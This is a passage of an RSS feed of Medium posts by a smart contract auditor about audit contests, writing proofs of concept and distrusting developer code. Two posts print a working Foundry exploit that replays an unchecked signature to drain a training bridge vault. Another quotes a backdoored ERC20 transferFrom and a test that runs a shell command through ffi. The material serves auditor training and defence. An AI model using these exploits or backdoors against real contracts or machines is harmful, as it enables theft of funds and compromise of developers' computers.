CTOs, but still developers. Sometimes Web2 DevOps.</p><p>And, obviously, they asked me questions about how good a developer I was, because, they don’t really know what a security engineer is. The main problem is that they don’t know that they don’t know what a security engineer is. That is the killer.</p><h4>What a security engineer is</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*Xel8Xh9oqJpbi_WXYXth-g.png" /></figure><p>Security is 50% documentation and 50% testing. Pure and simple.</p><p>If you look at the major security frameworks such as CySA+, ISM or NIST, you will see that it is all just that. Documentation produced by developers and system administrators, and testing to see if the documentation is accurate and the processes it details are good enough to keep systems secure. The security engineer doesn’t need to know ‘how’, he needs to know ‘is it secure enough’. And he must continue to ask this question every day. That’s why we call the position a security researcher, not an auditor.</p><p>But what do we do now? Usually we get a code that has been developed for 2/3 years to analyse in 10/20 days. Or, as I described, companies are looking for developers to use it as security engineers.</p><p>And we are still surprised that every 15 days a protocol is hacked.</p><h4>We have to change the mindset</h4><p>It is time to stop thinking of ourselves as some kind of pioneers in a new land. We have been around for a while and it is time to organise, to create solid structures.</p><p>I wrote a few months ago that every organisation with more than 10 developers needs a security researcher, but I was wrong. One of the first engineers, from the very first day someone writes the first line of code, should be a security person. Looking, asking for documentation. Testing.</p><p>Companies need to use specialists. If they don’t know how to hire security engineers, they need to outsource the process to a consolidated security company, just as they do to audit the code. Collaboration is always key.</p><h4>Conclusion</h4><p>Everything has to evolve, and it is time that the way we deal with security evolved as well. And we need a big change because it is not working. Maybe it was okay for the time when blockchain was just a big prototype, but it’s not good enough for the traditional financial system.</p><p>Developers understand that they need to move from proof of work to proof of stake, right? Well, now it is time for the proof of security.</p><p>Are we ready?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1bbd17f7b4e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$1.9 Million in Competitive Audits in Feb24]]></title>
            <link>https://aitorzaldua.medium.com/1-7-millions-in-competitive-audits-in-feb24-6352b4dee5ce?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/6352b4dee5ce</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Tue, 30 Jan 2024 16:25:11 GMT</pubDate>
            <atom:updated>2024-01-31T07:25:06.259Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AOoqqdWGAmusc39ll40a7w.png" /></figure><p><em>Contact me for learning paths, advice and real-world challenges by email at </em><strong><em>aitor.zaldua@draftdigital.xyz </em></strong><em>or in X as </em><a href="http://twitter.com/azdraft_"><strong><em>@azdraft_</em></strong></a><em>.</em></p><p><strong><em>Update! Hats.Finance added Wise Lending with $160000 in Rewards!!</em></strong></p><p>February is the shortest month of the year and it is usually more difficult to achieve the same things as the previous months. The great 31-day month of January is behind us and now we have to do the same things in less time.</p><p>But lucky for us, this is a leap year, and even luckier for web3 security researchers, the contest platforms will be handing out almost $1.7 million in rewards. Enough motivation for me to get to work.</p><p>To be considered, I have selected all the contests that will be live in the contest platforms for at least 1 week, and now let’s go with the presentations. I hope you will find one or two that interest you.</p><h4>Code4rena</h4><ul><li>Opus $100.00 — Jan 9 / Feb 6:</li></ul><p>Opus is a cross margin autonomous credit protocol that lets you borrow against your portfolio of carefully curated, sometimes yield-bearing, collateral. With minimal human intervention, the interest rates, maximum loan-to-value ratios and liquidation thresholds are dynamically determined by each user’s collateral profile.</p><ul><li>HidraDx, $100500 — Feb 2 / March 1</li></ul><p>HydraDX is a next-gen DeFi protocol which is designed to bring an ocean of liquidity to Polkadot. The tool for the job the HydraDX Omnipool — an innovative Automated Market Maker (AMM) which unlocks unparalleled efficiencies by combining all assets in a single trading pool.</p><h4>CodeHawks</h4><ul><li>MorpheusAI , $22500–Jan 30 / Feb 3</li></ul><p>Morpheus AI is a Smart Agent concept of connecting LLMs and AI Agents to wallets, Dapps, &amp; smart contracts promises to open the world of Web3 to everyone. Chatting in normal language with your Smart Agent and having it understand the question or task, is similar to how Google’s search engine opened the early internet up to the general public.</p><h4>Sherlock</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Y34q8eGPlqiGL6_HzqmBw.png" /></figure><ul><li>Arcadia $84500 — Jab 29 / Feb 16</li></ul><p>The Arcadia protocol is a set of smart contracts implemented for the EVM that facilitate non-trusting parties to close financial contracts without the need for intermediaries. It combines lending and margin accounts in the same protocol to enable the creation of credit markets on-chain. Anyone can build on top of the Arcadia protocol.</p><ul><li>100X $50500 — Feb 2 / Feb 13 (Private Contest)</li></ul><p>100x on BLAST. Orderbook perpetual DEX built on @Blast_L2. Going live with Blast mainnet. Trade pre-launch perps + move contracts soon.</p><ul><li>Napier $55000 — Feb 14 / Feb 26</li></ul><p>Napier is a liquidity hub for yield trading focused on unlocking the full potential of Curve ecosystem.</p><p>Napier allows users with versatile yield management strategies and opens doors for any fixed-term asset can be listed on Napier (Curve).</p><ul><li>Copra Finance $15600 — Feb 19 / Feb 22 (Private Contest)</li></ul><p>Copra is the on-chain debt market for on-chain entities.</p><p>The first use case of Copra is to help DeFi protocols raise protocol-managed liquidity that they can flexibly deploy to promote growth and enhance income, via loan that is capital efficient (not overcollateralized).</p><h4>Cantina</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcHnZw87Em2Ue8DTkBLKHQ.png" /></figure><ul><li>Blast $1200000 — Jan30 / Feb 20</li></ul><p>Blast yield comes from ETH staking and RWA protocols. The yield from these decentralized protocols is passed back to Blast users automatically. The default interest rate on other L2s is 0%. On Blast, it’s 4% for ETH and 5% for stablecoins.</p><h4>Hats</h4><ul><li>Catalyst $64000 — Jan 24 / Feb 5</li></ul><p>Catalyst is the cross-chain liquidity layer for modular chains. With Catalyst, any new modular chain can use Catalyst to permissionlessly connect liquidity and swap with hubs like Ethereum and Cosmos.</p><ul><li>Wise Lending $160000 — Feb 8 / Feb 22</li></ul><p>Wise Lending is a one-stop-shop for financial services in DeFi. They are focused on “making yield easy” and offering best-in-class APY opportunities, without ever compromising decentralisation.</p><h4>Pick one… or two</h4><p>There is certainly a lot to choose from. AMM, L2, Exchange… a complete repertoire of DeFi services to keep us focused on our main objective: making a lot of money!</p><p>OK, OK, keep the web3 safe, blah, blah, blah…</p><p>All joking aside, remember: A vulnerability report is not a sentence, it is a complete exposition of the finding: Summary, Proof of Concept and Recommendation.</p><p>If you think the goal is to keep the web3 secure, you will make a lot of money, if you think the goal is to make a lot of money, you will not keep the web3 secure and you will not make a lot of money.</p><p>A little bit of Joda lessons at the end of the article. Happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6352b4dee5ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to write a Proof of Concept for Audit contests]]></title>
            <link>https://coinsbench.com/how-to-write-a-proof-of-concept-for-audit-contests-adf3cac01179?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/adf3cac01179</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Fri, 12 Jan 2024 13:28:39 GMT</pubDate>
            <atom:updated>2024-01-12T16:49:42.636Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*lgjZVlDv4Vq2cCZiGgcXQg.png" /></figure><p><em>Contact me for learning paths, advice and real-world challenges by email at </em><strong><em>aitor.zaldua@draftdigital.xyz </em></strong><em>or in X as </em><a href="http://twitter.com/azdraft_"><strong><em>@azdraft_</em></strong></a><em>.</em></p><p>Judgement Day, J-Day, is approaching. The day when Blockchain, aka Skynet, takes control of the financial system and starts controlling the accounts of 3 billion people is very close.</p><p>And at the forefront, conquering the new frontier, here we are: The security researchers, the proud and elite class that will keep our land safe from the enemies.</p><p>But the reason we are a proud, elite class is not because we were lucky or because we inherited our parent’s business.</p><p>No, is because of this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HI70vmugDQpN5lQMw6XJ5A.png" /></figure><p>The reactions to this post came in a matter of seconds:</p><p>“Ive not taken a day off in the last 500 days ser”.</p><p>“Challenge accepted”.</p><p>“We’ll see, with all due respect.”</p><p>Unfortunately, we also have the other side. New future security researchers who are not yet aware of the importance of the job.</p><p>This week we had the first competition in the excellent platform Codehawks after they released the Updraft platform and the first batch of First Flights and, they vulnerability reports were…mmmm… disappointing?</p><p>The majority of reports were submitted without a PoC or even a minimal explanation of why a function or feature is vulnerable. Just a sentence like “Possible attack that might do this and possibly that other thing”.</p><p>Do you know what it really looks like? “I don’t know why, but I saw in the course video that there’s a thing called a reentrancy / DoS / frontrunning attack that looks a lot like this”.</p><p>It doesn’t look like a proud, elite class to me.</p><p>Well, sorry for the slap in the face, but if you are learning to be a security researcher, you need to know that no one is going to pay you for theoretical vulnerabilities.</p><p>You have to prove it.</p><h4>What a Proof of Concept is</h4><p>As in any other job, a company does not pay for knowing something, but for doing it. In security, the job is to break the system, not to say that you or anyone else can break the system. If you think a house is vulnerable, just open the door and sit on the living room couch!</p><p>So the proof of concept is just that: Once you have identified the vulnerability (knowledge), create the code (action) that does exactly what you say is possible.</p><p>Let’s learn by example and take one of my reported vulnerabilities as an example. The theoretical concept is:</p><p>“Unchecked signature leads to a lost of funds”.</p><p>This is a very good example because this is something you can learn in a course. Signatures should be protected in several ways: adding the chainId to identify the valid network, adding a nonce or timestamp to track all signatures, mapping signatures that have already been used… so it is easy to see that a signature is not well constructed.</p><p>Sound enough to you, rigth? yeah, you believe me because you already watch a course video about signatures but here is the problem: Your reports will be read by developers who think their code is safe, managers who want to protect their budgets, and investors who don’t understand code.</p><p>And none of them have seen the $%&amp;# video.</p><p>So if you say that the protocol could lose all the funds, you have to make the protocol lose the funds.</p><p>Let’s do it.</p><h4>How to write the PoC: The test folder</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*g3VXjEqkaviNS3mFWTqzAQ.png" /></figure><p>Both frameworks, Hardhat and Foundry, have the folder test for just that. To create PoCs.</p><p>There we will develop a script that, when executed, should result in the expected concept. In this case, we said that when we execute our test, the funds of the protocol will pass to be from 10 ETH to 0.</p><p>Since we are using Foundry, our PoC is a Solidity script, if we were using Hardhat it would be Javascript.</p><p>So we develop a script that calls functions of the protocol and we trick it into stealing the money. Take a look at my script:</p><pre>modifier addFunds() {<br>    // We set an initial balance using the user already defined:<br>    vm.startPrank(user);<br>    uint256 depositAmount = 10e18;<br><br>    token.approve(address(tokenBridge), depositAmount);<br>    tokenBridge.depositTokensToL2(user, userInL2, depositAmount);<br><br>    assertEq(token.balanceOf(address(vault)), depositAmount);<br><br>    vm.stopPrank();<br><br>    _;<br> }<br><br>function test_attackwithdrawTokensToL1() external addFunds {<br>    // 1. The initial balances are:<br>    //.   - Protocol = 10 ETH<br>    //.   - Attacker =  1 ETH<br>    assertEq(token.balanceOf(attacker), 1e18);<br>    assertEq(token.balanceOf(address(vault)), 10e18);<br><br>    // 2. The attack starts with a deposit of 1 token:<br>    vm.startPrank(attacker);<br>    uint256 attackerDepositAmount = 1e18;<br>    token.approve(address(tokenBridge), attackerDepositAmount);<br>    tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerDepositAmount);<br><br>    (uint8 v, bytes32 r, bytes32 s) =<br>    _signMessage(_getTokenWithdrawalMessage(attacker, attackerDepositAmount), operator.key);<br><br>     // 3. As the signature is not protected, we can execute as much as we want:<br>     uint256 vaultBalance = token.balanceOf(address(vault)) / 1e18;<br><br>     for (uint256 i; i &lt; vaultBalance; ++i) {<br>     tokenBridge.withdrawTokensToL1(attacker, attackerDepositAmount, v, r, s);<br>     }<br>     vm.stopPrank();<br><br>     // 4. Check: <br>     //.   - Protocol =  0 ETH<br>     //.   - Attacker = 11 ETH (all the protocol balance)<br>     assertEq(token.balanceOf(address(vault)), 0);<br>     assertEq(token.balanceOf(attacker) / 1e18, vaultBalance);<br>}</pre><p>Time to execute the script and prove that we can do what we said we could do:</p><pre>➜  2023-11-Boss-Bridge git:(main) ✗ forge test --mt test_attackwithdrawTokensToL1<br>[⠒] Compiling...<br>[⠆] Compiling 3 files with 0.8.20<br>[⠰] Solc 0.8.20 finished in 1.24s<br>Compiler run successful!<br><br>Running 1 test for test/L1BossBridgeTest.t.sol:L1BossBridgeTest<br>[PASS] test_attackwithdrawTokensToL1() (gas: 246574)<br>Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.49ms<br><br>Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)</pre><h4>Conclusion</h4><p>You know the saying “It’s not the size of the dog in the fight, it’s the size of the fight in the dog”? It’s been attributed to Mark Twain, but I’m not entirely sure.</p><p>It’s great to attract thousands of potential new auditors to the ecosystem, but it has to be for the right reasons: They should be obsessed with finding vulnerabilities. They should take pride in proving them.</p><p>Attracting people who are in the job just because they are after the big salaries that the rock starts preaching on X is a bad idea.</p><p>We have to put the new auditors in the ring, we have to fight them, punch them, wear them down to the point where they either fight or go home.</p><p>Right from the start, from training in the gym. This is the way to respect the profession.</p><p>After hard training, after spilling blood, sweat and tears, we will have the best auditors ready for the coming tsunami. This is how traditional financial systems, central banks and governments will rely on our beloved technology.</p><p>And that is how we will become the elite.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=adf3cac01179" width="1" height="1" alt=""><hr><p><a href="https://coinsbench.com/how-to-write-a-proof-of-concept-for-audit-contests-adf3cac01179">How to write a Proof of Concept for Audit contests</a> was originally published in <a href="https://coinsbench.com/">CoinsBench</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to success in web3 Security Contests]]></title>
            <link>https://coinsbench.com/how-to-success-in-web3-security-contests-c51ae877f66c?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c51ae877f66c</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Sat, 23 Dec 2023 14:23:29 GMT</pubDate>
            <atom:updated>2023-12-23T14:39:10.057Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6Od5u9jhiKCE5h4Hr9dNw.png" /></figure><p><em>Contact me for learning paths, advice and real-world challenges by email at </em><strong><em>aitor.zaldua@draftdigital.xyz </em></strong><em>or in X as </em><a href="http://twitter.com/azdraft_"><strong><em>@azdraft_</em></strong></a><em>.</em></p><p>As we begin our journey as smart contract auditors, the question that keeps pounding in our heads is the same: <strong>Is there a secret formula that will allow me to succeed as an auditor</strong>? How can I detect and report vulnerabilities in code that the developers thought was secure?</p><p>Then we start to study, we understand a few vulnerabilities like re-entrancy, oracle manipulation, frontrunning,… and we expect that the questions will disappear, that everything will be clear.</p><p>But it is still there. Pounding. Torturing us. We may even be able to sense that there is a vulnerability in a particular function, but we are unable to go beyond the step of successfully reporting it.</p><p>Damn, this is incredibly frustrating. Trust me, I’ve been there.</p><p>But web3 is wonderful. Out of nowhere, a company has a brilliant idea, a lighthouse in a dark sea. On 18 October 2023, <strong>Codehawks by Cyfrin invents First Flights</strong>, and the world will never be the same.</p><p>Until that day, the leap from being a student, an apprentice, to succeeding in competitions was too great, it was easy to get lost in the code and not quite focus on the potential vulnerability. But now we have something of a second division, a junior league, in which we can play and prove to ourselves, companies and customers that we are capable auditors.</p><p>From the first moment I accepted the challenge. I decided to use the FirstFlights to improve my audit skills. <strong>The goal: the perfect contest</strong>. Even if it costs me some vulnerabilities along the way, I would be faithful to the process.</p><p>I identified 3 main skills that were key to success in competitions and decided to work on them one at a time. <strong>They are Knowledge, Accuracy and Speed</strong>. Let’s see how I did.</p><h4>Knowledge</h4><p>They say the best way to learn is to teach, and in auditing the way to teach is to create perfect PoCs (Proof of Concepts). We will be auditing code that the developers, obviously, think is secure, so you have to clearly prove the concept of why it is vulnerable.</p><p>Then my first decision was not to release a vulnerability without a perfect PoC.</p><p>For example, in the Boos Bridge contest, a signature was used to allow the withdrawal of a token. This signature did not meet any of the theoretical standards that should be met, so it was clearly vulnerable.</p><p>It took me 5 minutes to notice it, and I could have reported it that way, but an auditor has to prove, in a very clear way, that it is vulnerable. He has to hack the contract.</p><p>It took me quite a while to create the PoC, but once I had worked on this skill long enough, <strong>each subsequent vulnerability/PoC became easier to the point where it became automatic.</strong></p><p>Have a look at my reported PoC for a “bad signature” vulnerability:</p><pre>modifier addFunds() {<br>        // We set an initial balance using the user already defined:<br>        vm.startPrank(user);<br>        uint256 depositAmount = 10e18;<br><br>        token.approve(address(tokenBridge), depositAmount);<br>        tokenBridge.depositTokensToL2(user, userInL2, depositAmount);<br><br>        assertEq(token.balanceOf(address(vault)), depositAmount);<br><br>        vm.stopPrank();<br><br>        _;<br>    }<br><br>function test_attackwithdrawTokensToL1() external addFunds {<br> // 1. We have an attacker account with 1 token:<br>    assertEq(token.balanceOf(attacker), 1e18);<br><br>// 2. The attack starts with a deposit of 1 token:<br>    vm.startPrank(attacker);<br>    uint256 attackerDepositAmount = 1e18;<br>    token.approve(address(tokenBridge), attackerDepositAmount);<br>    tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerDepositAmount);<br><br>    (uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, attackerDepositAmount), operator.key);<br><br>// 3. As the signature is not nonce protected, we can execute as much as we want:<br>     uint256 vaultBalance = token.balanceOf(address(vault)) / 1e18;<br><br>    for (uint256 i; i &lt; vaultBalance; ++i) {<br>       tokenBridge.withdrawTokensToL1(attacker, attackerDepositAmount, v, r, s);<br>    }<br>    vm.stopPrank();<br><br>// 4. Check:<br>    assertEq(token.balanceOf(address(vault)), 0);<br>    assertEq(token.balanceOf(attacker) / 1e18, vaultBalance);<br>}</pre><pre>➜  2023-11-Boss-Bridge git:(main) ✗ forge test --mt test_attackwithdrawTokensToL1<br>[⠒] Compiling...<br>[⠆] Compiling 3 files with 0.8.20<br>[⠰] Solc 0.8.20 finished in 1.24s<br>Compiler run successful!<br><br>Running 1 test for test/L1BossBridgeTest.t.sol:L1BossBridgeTest<br>[PASS] test_attackwithdrawTokensToL1() (gas: 246574)<br>Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.49ms<br><br>Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)</pre><h4>Accuracy</h4><p>Having mastered the skill of creating PoCs, the next skill should be accuracy. Getting all, or almost all, of the reported vulnerabilities accepted by the judges.</p><p>This skill is closely related to the previous one, but it is not just about creating a PoC so that the contract does something. You have to make sure it does something malicious.</p><p>There are an infinite number of possible cases that are not admitted because, in reality, they are not errors or, even if there is a vulnerability, we have not understood it 100%.</p><p><strong>In the last contest there were more than 200 unsuccessful submissions</strong> and the following example is very symptomatic, look at the judge’s answer: “Invalid root, the problem is not the inability to collect if you received one, the problem is your ability to collect multiple following the sequence…”.</p><p>We often feel there is something there because we have seen something similar, but we are not going to fool the judge or the developers. You have to understand how it works very well and test the cases. Unless you get an unexpected result, don’t report it.</p><p>This has cost me a few submissions, but I am proud to say that <strong>I currently have a 93.33% successful submission rate</strong>, with a 14/14 on highs and mediums reported/accepted.</p><p>And I also have Patrick’s congratulations. Not bad!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x2M3OrmB3GLZdr8_OurXTg.png" /></figure><h4>Speed</h4><p>You probably weren’t expecting this ability. Speed? what’s the point when it usually the platforms gives 10/15 days to resolve contests?</p><p>Although it may seem otherwise, <strong>there is not that much time in a contest.</strong> We should spent a limited amount of time between understanding a function or functionality, analysing whether it may have errors and moving on to the next one.</p><p>If you sense something, you have to prepare the PoC in the minimum possible time because, in most cases, it will rule out the possible vulnerability and you will have wasted all that time.</p><p>I then decided, to start analysing them just the day before they ended. Only about 8/10 to find some vulnerability. This is the time that Patrick Collins indicated that it should take to solve a First Flight then… Challenge accepted!</p><p>In 2 contests, I only reported 1 high each (only the report takes a few hours already), but in the third, oh boy, 6 highs, 1 medium and 1 low. An almost perfect contest. Violin music, please.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LfC5VgB7-5NpcXekBxmm5Q.png" /></figure><h4>Conclusion</h4><p>Just 2 months ago, my stats on the platform were as follows: 0 submissions, 0% success rate, 0 XP, Last position of about 700.</p><p>Today they are quite different: 16 submissions, 93.33% success rate, 1422 XP, <strong>26 position by XP of 843 </strong>(And probably another 1000 who have not made a single successful submission yet, although they are working on it).</p><p>Pretty insane, right?</p><p>This result is due to faithfulness to the process I have established, correct identification of skills and hard work. Anyone can achieve these results, at least in similar contests, and grow from there to higher goals.</p><p>If you would like to start achieving similar results, contact me and I will be happy to help you. Remember, <em>email: </em><strong><em>aitor.zaldua@draftdigital.xyz, </em></strong>and X:<em> </em><a href="http://twitter.com/azdraft_"><strong><em>@azdraft_</em></strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c51ae877f66c" width="1" height="1" alt=""><hr><p><a href="https://coinsbench.com/how-to-success-in-web3-security-contests-c51ae877f66c">How to success in web3 Security Contests</a> was originally published in <a href="https://coinsbench.com/">CoinsBench</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Smart Contract Auditors must never trust in developers.]]></title>
            <link>https://medium.com/coinmonks/smart-contract-auditors-must-never-trust-in-developers-c492b30b7478?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c492b30b7478</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Fri, 08 Dec 2023 12:07:28 GMT</pubDate>
            <atom:updated>2023-12-11T16:42:24.423Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6t9lLzNlhtFJnW50njH4GA.png" /><figcaption>picture from seanheritage.com</figcaption></figure><p><em>Contact me for learning paths, advice and real-world challenges by email at </em><strong><em>aitor.zaldua@draftdigital.xyz </em></strong><em>or in X as </em><a href="http://twitter.com/azdraft_"><strong><em>@azdraft_</em></strong></a><em>.</em></p><p>What a month for Web3 auditors and security researchers. It is impossible to summarise all the information in just one paragraph.</p><p>Did you know that in November <a href="https://twitter.com/azdraft_/status/1718959111411306768"><strong>we had 13 competitions</strong></a> between code4rena, sherlock, codehawks, hats and cantina? Now you know.</p><p>And the total amount of prizes? Guess how much. Higher. Higher. OK, very close. Around $1 million.</p><p>But not only that. Until this month, the only reliable source for learning web3 security was the @RealJohnnyTime <a href="https://smartcontractshacking.com/">Smart Contract Hacking course</a>. But now we have 2 more options! <a href="https://www.youtube.com/watch?v=DRZogmD647U">@0xOwenThurm</a> and <a href="https://updraft.cyfrin.io/">updraft by cyfrin</a> just joined the party.</p><p>Do I already look like an old washing machine salesman? Okay, mate, hold on because we have another offer for you! <a href="https://www.codehawks.com/first-flights"><strong>CodeHawks First Flight</strong></a>! A security competition using protocols created by the cyfrin team, but specifically designed to practice our skills. No money involved, but you can earn XP and climb the leaderboard to show companies and protocol teams how good you are at security.</p><p>But at this point you are probably confused. Ok, thanks for the information, but what has all this stuff got to do with “trust in the developer”? Have you lost your mind?</p><p>Again?</p><p>Of course it is related, my impatient friend, because this is a lesson I remembered from the last First Flight competition: The Santa’s List.</p><h4>What is an audit for?</h4><p>One of the most widely used mantras in business is ‘build trust with your customer’. This is obviously a 2-way street. The customer trusts the provider and the provider trusts the customer. Very simple. Exactly, that’s how you usually keep your customers.</p><p>But being an auditor is more complicated than that. Because your job is to look for your client’s mistakes, and sometimes that is uncomfortable. You have to be very polite and create really well explained documents to keep the atmosphere fresh and clean.</p><p>And now is the time when things are going to get even more complicated. In web3, the code is not really code, it is smart contracts. That is, contracts that are smart enough to work autonomously.</p><p>And if in traditional finance the contracts have small print, in DEFi the contracts could hide backdoors implemented by the developers to steal users’ money.</p><p>Let’s finally see 2 examples hidden in the <a href="https://www.codehawks.com/contests/clpba0ama0001ywpabex01hrp">CodeHawks FirstFlight Santa’s list.</a></p><h4>Manipulated Library</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WM9PL-dpTwDkMYpvK3NVXw.png" /></figure><p>As auditors, especially in contests, we are usually hired to check the developers’ code and the libraries are out of scope as they are supposed to be already audited by the respective companies, such as Open Zeppelin or Solmate.</p><p>But what happens if the malicious developer simply modifies the library? Look at this example of a <a href="https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L86">manipulated Solmate ERC20.sol</a> in the Santa’s List protocol:</p><pre>function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {<br>    // hehehe :)<br>    // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d<br>    if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {<br>       balanceOf[from] -= amount;<br>        unchecked {<br>            balanceOf[to] += amount;<br>         <br>        emit Transfer(from, to, amount);<br>        return true;<br>      }</pre><p>In this case, someone with the indicated address could steal all the tokens without the owner’s permission.</p><p>Consider the following scenario. A malicious developer builds a Uniswap-like protocol and gives it to us to audit. We trust that it is trustworthy and only review the code he/she has developed and sign the audit. <br>Months later, he steals all the tokens from the protocol and runs off to the Bahamas to live la vida loca, and our name is associated with a protocol hacked by a malicious library. Great.</p><p>You can see <a href="https://github.com/aitorzaldua/Codehawks_FirstFligths/blob/main/Vulnerabilities/05-Santa&#39;s%20List/H1-ManipulatedLibrary.md"><strong>my report of the vulnerability here</strong></a><strong>.</strong></p><h4>Manipulated Test</h4><p>The second is really interesting because, as auditors, our computers could be an attractive target for malicious hackers.</p><p>Consider the following scenario. A malicious team of developers put a protocol to audit in Codehawks and no one notices that there is a malicious test that executes code in our computer, thanks to the Foreign Function Interface (ffi) utility. For example, <a href="https://github.com/Cyfrin/2023-11-Santas-List/blob/main/test/unit/SantasListTest.t.sol#L149">check the SantasListTest.t.sol</a></p><pre>function testPwned() public {<br>    string[] memory cmds = new string[](2);<br>    cmds[0] = &quot;touch&quot;;<br>    cmds[1] = string.concat(&quot;youve-been-pwned&quot;);<br>    cheatCodes.ffi(cmds);<br>}</pre><p>And suddenly the hacker has control of the computers of hundreds of auditors. They can check our work, which protocols we audit, which vulnerabilities we know or ignore…</p><p>In the example, the test simply performs a <em>touch</em> to create a file in our computer. You can see <a href="https://github.com/aitorzaldua/Codehawks_FirstFligths/blob/main/Vulnerabilities/05-Santa&#39;s%20List/H1-FFIIsExecutingCommands.md"><strong>my report of the vulnerability here</strong></a><strong>.</strong></p><h4>Conclusion</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KrhQUUogfhSFioka3vA0SA.png" /></figure><p>Always remember, don’t trust, verify. This is why we were hired in the first place. Every development team should have an auditor to help the team keep the code secure. Blockchain technology was built to replace the current financial system, and without security, this goal will never happen.</p><p>Not just developer teams, but also investor teams, banks and financial institutions. Smart contracts are contracts, after all, and web3 security auditors are also web3 lawyers. We have to protect our customer’s investments and guarantee them that the contracts behind a protocol are secure.</p><p>There is a lot of positions out there to take. Is up to us. Smart contracts verified by smart auditors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c492b30b7478" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/smart-contract-auditors-must-never-trust-in-developers-c492b30b7478">Smart Contract Auditors must never trust in developers.</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[New Free training to become Smart Contract Auditor, by Cyfrin.]]></title>
            <link>https://medium.com/coinmonks/new-free-training-to-become-smart-contract-auditor-by-cyfrin-fbf13d61e323?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbf13d61e323</guid>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Thu, 09 Nov 2023 07:39:41 GMT</pubDate>
            <atom:updated>2023-11-09T11:00:59.989Z</atom:updated>
